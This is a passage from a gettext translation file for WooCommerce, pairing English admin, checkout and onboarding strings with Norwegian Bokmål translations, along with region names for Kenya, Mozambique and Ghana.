msgstr "Vil du migrere fra Shopify til WooCommerce?"
#: src/Internal/Admin/Notes/WooCommerceSubscriptions.php:48
msgid "WooCommerce Subscriptions allows you to introduce a variety of subscriptions for physical or virtual products and services. Create product-of-the-month clubs, weekly service subscriptions or even yearly software billing packages. Add sign-up fees, offer free trials, or set expiration periods."
msgstr "WooCommerce Abonnementer lar deg introdusere en rekke abonnementer for fysiske eller virtuelle produkter og tjenester. Opprett klubber, ukentlige tjenesteabonnementer eller til og med årlige programvarefaktureringspakker. Legg til registreringsgebyrer, tilby gratis prøveversjoner eller angi utløpsperioder."
#: src/Internal/Admin/Notes/WooCommerceSubscriptions.php:47
msgid "Do you need more info about WooCommerce Subscriptions?"
msgstr "Trenger du mer informasjon om WooCommerce-abonnementer?"
#: src/Admin/API/Plugins.php:406
msgid "There was a problem activating some of the requested plugins."
msgstr "Det oppstod et problem under aktivering av noen av de forespurte utvidelser."
#: src/Admin/API/Plugins.php:405
msgid "Plugins were successfully activated."
msgstr "Utvidelser aktivert."
#. translators: %s: plugin slug (example: woocommerce-services)
#: src/Admin/PluginsHelper.php:483
msgid "The requested plugin `%s`. is not yet installed."
msgstr "Den forespurte utvidelsen `%s` er ennå ikke installert."
#: src/Admin/API/Plugins.php:293
msgid "There was a problem installing some of the requested plugins."
msgstr "Det oppstod et problem under instalering av noen av de forespurte utvidelser."
#: src/Admin/API/Plugins.php:292
msgid "Plugins were successfully installed."
msgstr "Utvidelser ble installert."
#. translators: %s: plugin slug (example: woocommerce-services)
#: src/Admin/PluginsHelper.php:366
msgid "The requested plugin `%s` could not be installed. Upgrader install failed."
msgstr "Den forespurte utvidelsen %s kunne ikke installeres. Oppgraderingsinstallasjonen mislyktes."
#: src/Admin/API/Plugins.php:247 src/Admin/API/Plugins.php:361
#: src/Admin/PluginsHelper.php:244 src/Admin/PluginsHelper.php:431
#: src/Admin/PluginsHelper.php:454 src/Admin/PluginsHelper.php:539
msgid "Plugins must be a non-empty array."
msgstr "Utvidelser må være en ikke-tom array."
#: src/Admin/API/Notes.php:817
msgid "Registers whether the note is deleted or not"
msgstr "Registrerer om notatet er slettet eller ikke"
#: src/Admin/API/Notes.php:811
msgid "The image of the note, if any."
msgstr "Bildet av notatet, hvis noen."
#: src/Admin/API/Notes.php:805
msgid "The layout of the note (e.g. banner, thumbnail, plain)."
msgstr "Oppsettet av notatet (f.eks. banner, miniatyrbilde, vanlig)."
#: src/Admin/API/Notes.php:341
msgid "Sorry, there is no note with that ID."
msgstr "Beklager, det finnes ingen notat med denne id-en."
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:235
msgid "Views"
msgstr "Visninger"
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:229
msgid "Visitors"
msgstr "Besøkende"
#. translators: %s: product name
#: src/Checkout/Helpers/ReserveStock.php:232
msgid "Not enough units of %s are available in stock to fulfil this order."
msgstr "Ikke nok enheter av %s tilgjengelig på lager for å oppfylle denne ordren."
#. translators: %s: product name
#: src/Checkout/Helpers/ReserveStock.php:108
msgid ""%s" is out of stock and cannot be purchased."
msgstr "«%s» er utsolgt og kan ikke kjøpes."
#: i18n/states.php:1110
msgid "West Pokot"
msgstr "West Pokot"
#: i18n/states.php:1109
msgid "Wajir"
msgstr "Wajir"
#: i18n/states.php:1108
msgid "Vihiga"
msgstr "Vihiga"
#: i18n/states.php:1107
msgid "Uasin Gishu"
msgstr "Uasin Gishu"
#: i18n/states.php:1106
msgid "Turkana"
msgstr "Turkana"
#: i18n/states.php:1105
msgid "Trans Nzoia"
msgstr "Trans Nzoia"
#: i18n/states.php:1104
msgid "Tharaka-Nithi"
msgstr "Tharaka-Nithi"
#: i18n/states.php:1103
msgid "Tana River"
msgstr "Tana River"
#: i18n/states.php:1102
msgid "Taita-Taveta"
msgstr "Taita-Taveta"
#: i18n/states.php:1101
msgid "Siaya"
msgstr "Siaya"
#: i18n/states.php:1100
msgid "Samburu"
msgstr "Samburu"
#: i18n/states.php:1099
msgid "Nyeri"
msgstr "Nyeri"
#: i18n/states.php:1098
msgid "Nyandarua"
msgstr "Nyandarua"
#: i18n/states.php:1097
msgid "Nyamira"
msgstr "Nyamira"
#: i18n/states.php:1096
msgid "Narok"
msgstr "Narok"
#: i18n/states.php:1095
msgid "Nandi"
msgstr "Nandi"
#: i18n/states.php:1094
msgid "Nakuru"
msgstr "Nakuru"
#: i18n/states.php:1093
msgid "Nairobi County"
msgstr "Nairobi County"
#: i18n/states.php:1092
msgid "Murang’a"
msgstr "Murang’a"
#: i18n/states.php:1091
msgid "Mombasa"
msgstr "Mombasa"
#: i18n/states.php:1090
msgid "Migori"
msgstr "Migori"
#: i18n/states.php:1089
msgid "Meru"
msgstr "Meru"
#: i18n/states.php:1088
msgid "Marsabit"
msgstr "Marsabit"
#: i18n/states.php:1087
msgid "Mandera"
msgstr "Mandera"
#: i18n/states.php:1086
msgid "Makueni"
msgstr "Makueni"
#: i18n/states.php:1085
msgid "Machakos"
msgstr "Machakos"
#: i18n/states.php:1084
msgid "Lamu"
msgstr "Lamu"
#: i18n/states.php:1083
msgid "Laikipia"
msgstr "Laikipia"
#: i18n/states.php:1082
msgid "Kwale"
msgstr "Kwale"
#: i18n/states.php:1081
msgid "Kitui"
msgstr "Kitui"
#: i18n/states.php:1080
msgid "Kisumu"
msgstr "Kisumu"
#: i18n/states.php:1079
msgid "Kisii"
msgstr "Kisii"
#: i18n/states.php:1078
msgid "Kirinyaga"
msgstr "Kirinyaga"
#: i18n/states.php:1077
msgid "Kilifi"
msgstr "Kilifi"
#: i18n/states.php:1076
msgid "Kiambu"
msgstr "Kiambu"
#: i18n/states.php:1075
msgid "Kericho"
msgstr "Kericho"
#: i18n/states.php:1074
msgid "Kakamega"
msgstr "Kakamega"
#: i18n/states.php:1073
msgid "Kajiado"
msgstr "Kajiado"
#: i18n/states.php:1072
msgid "Isiolo"
msgstr "Isiolo"
#: i18n/states.php:1071
msgid "Homa Bay"
msgstr "Homa Bay"
#: i18n/states.php:1070
msgid "Garissa"
msgstr "Garissa"
#: i18n/states.php:1069
msgid "Embu"
msgstr "Embu"
#: i18n/states.php:1068
msgid "Elgeyo-Marakwet"
msgstr "Elgeyo-Marakwet"
#: i18n/states.php:1066
msgid "Bungoma"
msgstr "Bungoma"
#: i18n/states.php:1065
msgid "Bomet"
msgstr "Bomet"
#: i18n/states.php:1064
msgid "Baringo"
msgstr "Baringo"
#: src/Internal/Features/FeaturesController.php:1221
msgid "Start using new features that are being progressively rolled out to improve the store management experience."
msgstr "Begynn å bruke nye funksjoner som rulles gradvis ut for å forbedre butikkadministrasjonsopplevelsen."
#: src/Internal/Features/FeaturesController.php:1194
#: src/Internal/Features/FeaturesController.php:1219
msgid "Features"
msgstr "Funksjoner"
#. translators: %1%s: Missing tables (separated by ",")
#: includes/admin/views/html-notice-base-table-missing.php:36
msgid "One or more tables required for WooCommerce to function are missing, some features may not work as expected. Missing tables: %1$s."
msgstr "Én eller flere tabeller som kreves for at WooCommerce skal fungere, mangler kanskje ikke, noen funksjoner fungerer kanskje ikke som forventet. Manglende tabeller: %1$s."
#. translators: %1%s: Missing tables (separated by ",") %2$s: Link to check
#. again
#: includes/admin/views/html-notice-base-table-missing.php:27
msgid "One or more tables required for WooCommerce to function are missing, some features may not work as expected. Missing tables: %1$s. <a href=\"%2$s\">Check again.</a>"
msgstr "Én eller flere tabeller som kreves for at WooCommerce skal fungere mangler, noen funksjoner fungerer kanskje ikke som forventet. Manglende tabeller: %1$s. <a href=\"%2$s\">Kontroller på nytt.</a>"
#: includes/admin/views/html-notice-base-table-missing.php:17
msgid "Database tables missing"
msgstr "Databasetabeller mangler"
#. translators: Comma separated list of missing tables.
#: includes/admin/class-wc-admin-status.php:399
msgid "Missing base tables: %s. Some WooCommerce functionality may not work as expected."
msgstr "Manglende basistabeller: %s. Noen WooCommerce-funksjonalitet fungerer kanskje ikke som forventet."
#: src/Internal/Admin/Homescreen.php:193 assets/client/admin/app/index.js:2
msgid "Home"
msgstr "Hjem"
#: src/Internal/Features/FeaturesController.php:351
#: assets/client/admin/chunks/5875.js:1
msgid "Marketplace"
msgstr "Markedsplass"
#: src/Internal/Admin/Analytics.php:200 src/Internal/Admin/Marketing.php:143
#: assets/client/admin/app/index.js:2
msgid "Overview"
msgstr "Oversikt"
#: src/Internal/Admin/Notes/OnboardingPayments.php:54
msgid "Take payments with the provider that’s right for you - choose from 100+ payment gateways for WooCommerce."
msgstr "Ta i mot betalinger med leverandøren som er riktig for deg, velg mellom 100+ betalinsløsninger for WooCommerce."
#: src/Internal/Admin/Notes/OnboardingPayments.php:53
msgid "Start accepting payments on your store!"
msgstr "Begynn å ta i mot betaling i din butikk!"
#: src/Internal/Admin/Notes/InstallJPAndWCSPlugins.php:61
msgid "Install plugins"
msgstr "Installer utvidelser"
#: src/Internal/Admin/Notes/InstallJPAndWCSPlugins.php:53
msgid "Uh oh... There was a problem during the Jetpack and WooCommerce Shipping & Tax install. Please try again."
msgstr "Det oppstod et problem under installasjonen av Jetpack og WooCommerce Shipping & Tax. Prøv igjen."
#: src/Internal/Admin/Notes/InstallJPAndWCSPlugins.php:50
msgid "We noticed that there was a problem during the Jetpack and WooCommerce Shipping & Tax install. Please try again and enjoy all the advantages of having the plugins connected to your store! Sorry for the inconvenience. The \"Jetpack\" and \"WooCommerce Shipping & Tax\" plugins will be installed & activated for free."
msgstr "Vi la merke til at det var et problem under installasjon av Jetpack og WooCommerce Shipping & Tax. Prøv igjen og nyt alle fordelene ved å ha utvidelser koblet til butikken din. Beklager det inntrufne. \"Jetpack\" og \"WooCommerce Shipping & Tax\" utvidelsene vil bli installert og aktivert gratis."
#: includes/class-wc-privacy-exporters.php:424
msgid "User’s WooCommerce payment tokens data."
msgstr "Bruker’s WooCommerce data for betalingstokens."
#: includes/class-wc-privacy-exporters.php:138
msgid "User’s WooCommerce access to purchased downloads data."
msgstr "Bruker’s WooCommerce tilgang til data for kjøpte nedlastinger."
#: includes/class-wc-privacy-exporters.php:126
msgid "User’s WooCommerce purchased downloads data."
msgstr "Bruker’s WooCommerce data for kjøpte nedlastinger."
#: includes/class-wc-privacy-exporters.php:77
msgid "User’s WooCommerce orders data."
msgstr "Bruker’s WooCommerce ordredata."
#: includes/class-wc-privacy-exporters.php:32
msgid "User’s WooCommerce customer data."
msgstr "Bruker’s WooCommerce kundedata."
#: i18n/states.php:1353
msgid "Zambézia"
msgstr "Zambézia"
#: i18n/states.php:1352
msgid "Tete"
msgstr "Tete"
#: i18n/states.php:1351
msgid "Sofala"
msgstr "Sofala"
#: i18n/states.php:1350
msgid "Niassa"
msgstr "Niassa"
#: i18n/states.php:1349
msgid "Nampula"
msgstr "Nampula"
#: i18n/states.php:1348
msgid "Maputo"
msgstr "Maputo"
#: i18n/states.php:1347
msgid "Maputo Province"
msgstr "Maputo-provinsen"
#: i18n/states.php:1346
msgid "Manica"
msgstr "Manica"
#: i18n/states.php:1345
msgid "Inhambane"
msgstr "Inhambane"
#: i18n/states.php:1344
msgid "Gaza"
msgstr "Gaza"
#: i18n/states.php:1343
msgid "Cabo Delgado"
msgstr "Cabo Delgado-provinsen"
#: i18n/states.php:630
msgid "Western North"
msgstr "Western North-regionen"
#: i18n/states.php:628
msgid "Volta"
msgstr "Volta"
#: i18n/states.php:627
msgid "Upper West"
msgstr "Upper West-regionen"
#: i18n/states.php:626
msgid "Upper East"
msgstr "Upper East-regionen"
#: i18n/states.php:625
msgid "Savannah"
msgstr "Savannah"
#: i18n/states.php:624
msgid "Oti"
msgstr "Oti"
#: i18n/states.php:622
msgid "North East"
msgstr "North East-regionen"
#: i18n/states.php:621
msgid "Greater Accra"
msgstr "Greater Accra-regionen"
#: i18n/states.php:618
msgid "Bono East"
msgstr "Bono East-regionen"
#: i18n/states.php:617
msgid "Bono"
msgstr "Bono-regionen"
#: i18n/states.php:616
msgid "Brong-Ahafo"
msgstr "Brong-Ahafo-regionen"
#: i18n/states.php:615
msgid "Ashanti"
msgstr "Ashanti-regionen"
#: i18n/states.php:614
msgid "Ahafo"
msgstr "Ahafo-regionen"
#. translators: 1: uploads directory URL 2: documentation URL
#: includes/admin/views/html-notice-uploads-directory-is-unprotected.php:22
msgid "Your store's uploads directory is <a href=\"%1$s\">browsable via the web</a>. We strongly recommend <a href=\"%2$s\">configuring your web server to prevent directory indexing</a>."
msgstr "Butikkens opplastingskatalog er <a href=\"%1$s\">tilgjengelig via nettet.</a> Vi anbefaler på det sterkeste <a href=\"%2$s\">at du konfigurerer webserveren for å hindre katalogindeksering</a>."
#. translators: %s function name.
#: packages/action-scheduler/classes/abstracts/ActionScheduler.php:274
msgid "%s() was called before the Action Scheduler data store was initialized"
msgstr "%s() ble kalt før datalageret for handlingsplanlegging ble initialisert"
#: src/Admin/Features/OnboardingTasks/Tasks/WooCommercePayments.php:104
#: assets/client/admin/app/index.js:2 assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/multichannel-marketing.js:1
#: assets/client/admin/embed/index.js:2
msgid "Finish setup"
msgstr "Fullfør oppsettet"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:184
msgid "Take payments via bank transfer."
msgstr "Ta betalinger via bankoverføring."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:195
msgid "Take payments in cash upon delivery."
msgstr "Ta betalinger i kontanter ved levering."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:348
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3377
msgid "Payfast"
msgstr "PayFast"
#: src/Internal/Fulfillments/FulfillmentsManager.php:78
#: src/Internal/Fulfillments/FulfillmentsRenderer.php:92
#: assets/client/admin/wp-admin-scripts/print-shipping-label-banner.js:2
msgid "Shipment Tracking"
msgstr "Pakkesporing"
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:138
msgid "If checked, free shipping would be available based on pre-discount order amount."
msgstr "Hvis valgt, vil gratis frakt være tilgjengelig basert på ordrebeløp før rabatt."
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:136
msgid "Apply minimum order rule before coupon discount"
msgstr "Bruk regel for minimum ordre før rabattkoderabatt"
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:135
msgid "Coupons discounts"
msgstr "Rabattkoderabatter"
#. translators: %s: URL of WooCommerce.com subscriptions tab.
#: includes/admin/helper/class-wc-helper-updater.php:864
msgid "Please visit the <a href=\"%s\" target=\"_blank\">subscriptions page</a> and renew to continue receiving updates."
msgstr "Besøk <a href=\"%s\" target=\"_blank\">abonnementssiden</a> og forny for å fortsette å motta oppdateringer."
#: includes/admin/class-wc-admin-help.php:57
msgid "WooCommerce.com support"
msgstr "WooCommerce.com støtte"
#. translators: %s: Forum URL
#: includes/admin/class-wc-admin-help.php:52
msgid "For further assistance with WooCommerce core, use the <a href=\"%1$s\">community forum</a>. For help with premium extensions sold on WooCommerce.com, <a href=\"%2$s\">open a support request at WooCommerce.com</a>."
msgstr "For å få mer hjelp med WooCommerce, bruk <a href=\"%1$s\">brukerforumet</a> . For hjelp med premiumutvidelser som selges på WooCommerce.com, <a href=\"%2$s\">åpner du en supportforespørsel på WooCommerce.com</a> ."
#. translators: %s: version
#: includes/admin/class-wc-admin-status.php:451
msgid "Installed version not tested with active version of WooCommerce %s"
msgstr "Installert versjon ikke testet med aktiv versjon av WooCommerce %s"
#. translators: 1: current version. 2: latest version
#: includes/admin/class-wc-admin-status.php:439
#: includes/admin/views/html-admin-page-status-report.php:950
msgid "%1$s (update to version %2$s is available)"
msgstr "%1$s (oppdatering til versjon %2$s er tilgjengelig)"
#. translators: %1$s: link to docs
#: includes/admin/class-wc-admin-setup-wizard.php:2227
msgid "Visit WooCommerce.com to learn more about <a href=\"%1$s\" target=\"_blank\">getting started</a>."
msgstr "Besøk WooCommerce.com for å lære mer om hvordan du <a href=\"%1$s\" target=\"_blank\">kommer i gang</a> ."
#: src/Admin/API/MarketingOverview.php:93
msgid "The plugin could not be activated."
msgstr "Utvidelsen kunne ikke aktiveres."
#: src/Admin/API/Reports/Customers/Stats/Controller.php:384
#: src/Admin/API/Reports/GenericStatsController.php:65
msgid "Limit stats fields to the specified items."
msgstr "Begrens statistikkfeltene til de spesifiserte elementene."
#: src/Admin/API/Plugins.php:638
msgid "There was an error communicating with the WooPayments plugin."
msgstr "Det oppstod en feil i kommunikasjonen med WooPayments-pluginen."
#: src/Internal/Admin/ShippingLabelBanner.php:82
#: assets/client/admin/wp-admin-scripts/print-shipping-label-banner.js:2
msgid "Shipping Label"
msgstr "Fraktetikett"
#: src/Internal/Admin/Notes/PersonalizeStore.php:60
msgid "Personalize homepage"
msgstr "Tilpass hjemmesiden"
#: src/Internal/Admin/Notes/PersonalizeStore.php:54
msgid "Personalize your store's homepage"
msgstr "Tilpass butikkens hjemmeside"
#: src/Internal/Admin/Notes/PersonalizeStore.php:51
msgid "The homepage is one of the most important entry points in your store. When done right it can lead to higher conversions and engagement. Don't forget to personalize the homepage that we created for your store during the onboarding."
msgstr "Hjemmesiden er et av de viktigste inngangspunktene i butikken din. Når du gjør det riktig, kan det føre til høyere konverteringer og engasjement. Ikke glem å tilpasse hjemmesiden som vi opprettet for butikken din under onboarding."
#: src/Internal/Admin/Notes/WooCommercePayments.php:108
msgid "Securely accept credit and debit cards on your site. Manage transactions without leaving your WordPress dashboard. Only with <strong>WooPayments</strong>."
msgstr "Ta imot kreditt- og debetkort på nettstedet ditt på en sikker måte. Administrer transaksjoner uten å forlate WordPress-dashbordet. Bare med <strong>WooPayments</strong>."
#: src/Internal/Admin/Notes/WooCommercePayments.php:106
msgid "Try the new way to get paid"
msgstr "Prøv den nye måten å få betalt på"
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:365
msgid "It appears one or more database tables were missing. Attempting to re-create the missing table(s)."
msgstr "Det ser ut til at en eller flere databasetabeller manglet. Forsøker å opprette manglende tabell(er) på nytt."
#. translators: %s: Link to settings page.
#: includes/admin/views/html-notice-redirect-only-download.php:18
msgid "Your store is configured to serve digital products using \"Redirect only\" method. This method is deprecated, <a href=\"%s\">please switch to a different method instead.</a><br><em>If you use a remote server for downloadable files (such as Google Drive, Dropbox, Amazon S3), you may optionally wish to \"allow using redirects as a last resort\". Enabling that and/or selecting any of the other options will make this notice go away.</em>"
msgstr "Butikken din er konfigurert til å levere digitale produkter ved hjelp av \"Redirect only\" -metoden. Denne metoden er utdatert, <a href=\"%s\">vennligst bytt til en annen metode i stedet.</a><br><em>Hvis du bruker en ekstern server for nedlastbare filer (for eksempel Google Drive, Dropbox, Amazon S3), vil den riktige metoden automatisk brukes, så velg noen av de andre alternativene for å få denne beskjeden til å forsvinne.</em>"
#: src/Admin/Features/OnboardingTasks/Tasks/Appearance.php:70
msgid "Choose theme"
msgstr "Velg tema"
#: patterns/heading-with-three-columns-of-content-with-link.php:12
#: src/Internal/Admin/Notes/WooCommercePayments.php:122
#: assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/shipping-recommendations.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Get started"
msgstr "Kom i gang"
#: src/Internal/Traits/OrderAttributionMeta.php:306
msgid "Mobile app"
msgstr "Mobilapp"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:209
msgid "Send targeted campaigns, recover abandoned carts and much more with Mailchimp."
msgstr "Send målrettede kampanjer, gjenopprett forlatte handlekurver og mye mer med Mailchimp."
#: src/Admin/Features/OnboardingTasks/Tasks/Payments.php:42
msgid "Set up payments"
msgstr "Sett opp betalinger"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:602
msgid "Securely accept credit and debit cards with one low rate, no surprise fees (custom rates available). Sell online and in store and track sales and inventory in one place."
msgstr "Sikkert ta imot kreditt- og debetkort med en lav sats, ingen overraskelsesavgifter (tilpassede priser tilgjengelig). Selg online og i butikk og spor salg og lager på ett sted."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:217
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:241
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3976
msgid "Choose the payment that you want, pay now, pay later or slice it. No credit card numbers, no passwords, no worries."
msgstr "Velg den betalingen du vil ha, betal nå, betal senere eller del den. Ingen kredittkortnumre, ingen passord, ingen bekymringer."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:653
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3710
msgid "Accept debit and credit cards in 135+ currencies, methods such as Alipay, and one-touch checkout with Apple Pay."
msgstr "Godta debet- og kredittkort i 135+ valutaer, metoder som Alipay og one-touch betaling med Apple Pay."
#: includes/cli/class-wc-cli-com-command.php:184
msgid "Store connected successfully."
msgstr "Butikken ble tilkoblet."
#: src/Admin/Features/OnboardingTasks/Tasks/Products.php:50
#: assets/client/admin/chunks/4241.js:1 assets/client/admin/chunks/5875.js:1
msgid "Import your products"
msgstr "Importer dine produkter"
#: src/Blocks/BlockTypes/ProductGallery.php:62
msgid "Close dialog"
msgstr "Lukk dialog"
#: src/Blocks/BlockTypes/AddToCartWithOptions/AddToCartWithOptions.php:676
#: src/Blocks/BlockTypes/FilledMiniCartContentsBlock.php:88
#: src/Blocks/BlockTypes/ProductCollection/Renderer.php:214
#: assets/client/admin/app/index.js:2 assets/client/admin/chunks/6526.js:1
#: assets/client/admin/chunks/settings-payments-main.js:1
#: assets/client/admin/embed/index.js:2 assets/client/blocks/checkout.js:25
#: assets/client/blocks/store-notices.js:1
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:34
msgid "Dismiss this notice"
msgstr "Forkast denne meldingen"
#: templates/order/customer-history.php:55 assets/client/admin/chunks/2304.js:1
#: assets/client/admin/chunks/analytics-report-customers.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Average order value"
msgstr "Gjennomsnittlig ordrebeløp"
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:369
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Amount"
msgstr "Beløp"
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:276
#: assets/client/admin/chunks/analytics-report-revenue.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Gross sales"
msgstr "Bruttosalg"
#: src/Admin/API/Reports/Orders/Controller.php:467
#: assets/client/admin/chunks/2304.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
msgid "Customer type"
msgstr "Kundetype"
#: src/Internal/Admin/CustomerEffortScoreTracks.php:354
msgid "🎉 Congrats on adding your first product!"
msgstr "🎉 Gratulerer med å legge til ditt første produkt!"
#: includes/react-admin/connect-existing-pages.php:228
#: assets/client/admin/app/index.js:2
msgid "Edit Product"
msgstr "Rediger produkt"
#: includes/react-admin/connect-existing-pages.php:198
msgid "Edit Coupon"
msgstr "Rediger rabattkode"
#: includes/react-admin/connect-existing-pages.php:155
msgid "Edit Order"
msgstr "Rediger ordre"
#. translators: %s: report name
#: includes/react-admin/emails/html-admin-report-export-download.php:19
msgid "Download your %s Report"
msgstr "Last ned «%s»-rapport"
#. translators: %1$s: report name, %2$s: download URL
#: includes/react-admin/emails/plain-admin-report-export-download.php:15
msgid "Download your %1$s Report: %2$s"
msgstr "Last ned «%1$s»-rapport: %2$s"
#: src/Admin/PageController.php:230
msgid "Current page retrieval should be called on or after the `current_screen` hook."
msgstr "Gjeldende `page retrieval` bør kalles på eller etter `current_screen` hook."
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:88
msgid "If you need to enable or disable the task lists, please click on the button below."
msgstr "Hvis du skal aktivere eller deaktivere oppgavelistene, trykk på knappen nedenfor."
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:87
msgid "Task List"
msgstr "Oppgaveliste"
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:91
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:101
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:175
#: assets/client/admin/chunks/settings-payments-main.js:1
msgid "Disable"
msgstr "Deaktiver"
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:98
msgid "If you need to enable or disable the extended task lists, please click on the button below."
msgstr "Hvis du skal slå på eller av den utvidede oppgavelisten, trykk på knappen nedenfor."
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:82
msgid "Profile Setup Wizard"
msgstr "Profiloppsettveiviser"
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:80
msgid "WooCommerce Onboarding"
msgstr "WooCommerce Onboarding"
#: src/Internal/Admin/Onboarding/OnboardingProducts.php:47
msgid "Bookings"
msgstr "Bookinger"
#: src/Internal/Admin/Onboarding/OnboardingProducts.php:43
msgid "Memberships"
msgstr "Abonnement"
#: src/Internal/Admin/Onboarding/OnboardingProducts.php:33
msgid "Physical products"
msgstr "Fysiske produkter"
#: src/Internal/Admin/Onboarding/OnboardingIndustries.php:55
msgid "CBD and other hemp-derived products"
msgstr "CBD og andre hamperelaterte produkter"
#: src/Internal/Admin/Onboarding/OnboardingIndustries.php:50
msgid "Home, furniture, and garden"
msgstr "Hjem, møbler og hage"
#: src/Internal/Admin/Onboarding/OnboardingIndustries.php:45
#: assets/client/admin/chunks/core-profiler.js:1
msgid "Food and drink"
msgstr "Mat og drikke"
#: src/Internal/Admin/Onboarding/OnboardingIndustries.php:40
#: assets/client/admin/chunks/core-profiler.js:1
msgid "Electronics and computers"
msgstr "Elektronikk og datamaskiner"
#: src/Internal/Admin/Onboarding/OnboardingIndustries.php:35
#: assets/client/admin/chunks/core-profiler.js:1
msgid "Health and beauty"
msgstr "Helse og skjønnhet"
#: src/Internal/Admin/Onboarding/OnboardingIndustries.php:30
msgid "Fashion, apparel, and accessories"
msgstr "Mote, klær og tilbehør"
#: src/Internal/Admin/Analytics.php:190
#: src/Internal/Features/FeaturesController.php:313
#: assets/client/admin/app/index.js:2
msgid "Analytics"
msgstr "Statistikk"
#: src/Admin/API/Reports/Customers/DataStore.php:972
msgid "[deleted]"
msgstr "[Slettet]"
#: src/Admin/API/DataDownloadIPs.php:158
msgid "IP address."
msgstr "IP-adresse."
#: src/Admin/API/DataDownloadIPs.php:137
msgid "A partial IP address can be passed and matching results will be returned."
msgstr "En del av en IP-adresse kan sendes og matchende resultater blir returnert."
#: src/Admin/API/DataDownloadIPs.php:73
msgid "Invalid request. Please pass the match parameter."
msgstr "Ugyldig forespørsel. Vennligst send matchparameteren."
#: src/Admin/API/Plugins.php:698
msgid "Action that should be completed to connect Jetpack."
msgstr "Handling som skal fullføres for å koble til jetpack."
#: src/Admin/API/Plugins.php:678
msgid "Plugin status."
msgstr "Status for utvidelse."
#: src/Admin/API/Plugins.php:672
#: src/Admin/API/ShippingPartnerSuggestions.php:158
msgid "Plugin name."
msgstr "Navn på utvidelse."
#: src/Admin/API/Plugins.php:666
msgid "Plugin slug."
msgstr "Identifikator for utvidelse."
#: src/Admin/API/Plugins.php:586
msgid "There was an error connecting to Square."
msgstr "Det oppstod en feil under tilkobling til Square."
#: src/Admin/API/Plugins.php:482 src/Admin/API/Plugins.php:487
#: src/Admin/API/Plugins.php:544 src/Admin/API/Plugins.php:549
#: src/Admin/API/Plugins.php:565
msgid "There was an error connecting to WooCommerce.com. Please try again."
msgstr "Det oppstod en feil under tilkobling til WooCommerce.com. Vennligst prøv på nytt."
#: src/Admin/API/Plugins.php:465 src/Admin/API/Plugins.php:528
msgid "There was an error loading the WooCommerce.com Helper API."
msgstr "Det oppstod en feil under lasting av WooCommerce.com Helper API."
#: src/Admin/API/Plugins.php:440
msgid "Jetpack is not installed or active."
msgstr "Jetpack er ikke installert eller aktiv."
#. translators: %s: plugin slug (example: woocommerce-services)
#: src/Admin/PluginsHelper.php:505
msgid "The requested plugin `%s` could not be activated."
msgstr "Den forespurte utvidelsen `%s` kunne ikke aktiveres."
#. translators: %s: plugin slug (example: woocommerce-services)
#: src/Admin/API/OnboardingPlugins.php:455 src/Admin/PluginsHelper.php:338
msgid "The requested plugin `%s` could not be installed."
msgstr "Den forespurte utvidelsen '%s' kunne ikke installeres."
#. translators: %s: plugin slug (example: woocommerce-services).
#. translators: %s: plugin slug (example: woocommerce-services)
#: src/Admin/API/OnboardingPlugins.php:475 src/Admin/PluginsHelper.php:288
#: src/Admin/PluginsHelper.php:311
msgid "The requested plugin `%s` could not be installed. Plugin API call failed."
msgstr "Den forespurte utvidelsen '%s' kunne ikke installeres. Utvidelse API-kall mislyktes."
#: src/Admin/API/MarketingOverview.php:87
msgid "Invalid plugin."
msgstr "Ugyldig utvidelse."
#: src/Admin/API/Marketing.php:105 src/Admin/API/MarketingOverview.php:114
#: src/Admin/API/OnboardingPlugins.php:321
#: src/Admin/API/OnboardingPlugins.php:338
#: src/Admin/API/PaymentGatewaySuggestions.php:83 src/Admin/API/Plugins.php:218
#: src/Admin/API/ShippingPartnerSuggestions.php:68
msgid "Sorry, you cannot manage plugins."
msgstr "Beklager, du kan ikke administrere utvidelser."
#: src/Admin/API/OnboardingThemes.php:200
msgid "Theme status."
msgstr "Tema status."
#: src/Admin/API/OnboardingThemes.php:188
msgid "Theme slug."
msgstr "Tema-identifikator."
#: src/Admin/API/OnboardingThemes.php:166
msgid "The requested theme could not be activated."
msgstr "Det forespurte temaet kunne ikke aktiveres."
#. translators: %s: theme slug (example: woocommerce-services)
#: src/Admin/API/OnboardingThemes.php:161
msgid "Invalid theme %s."
msgstr "Ugyldig tema %s."
#. translators: %s: theme slug (example: woocommerce-services)
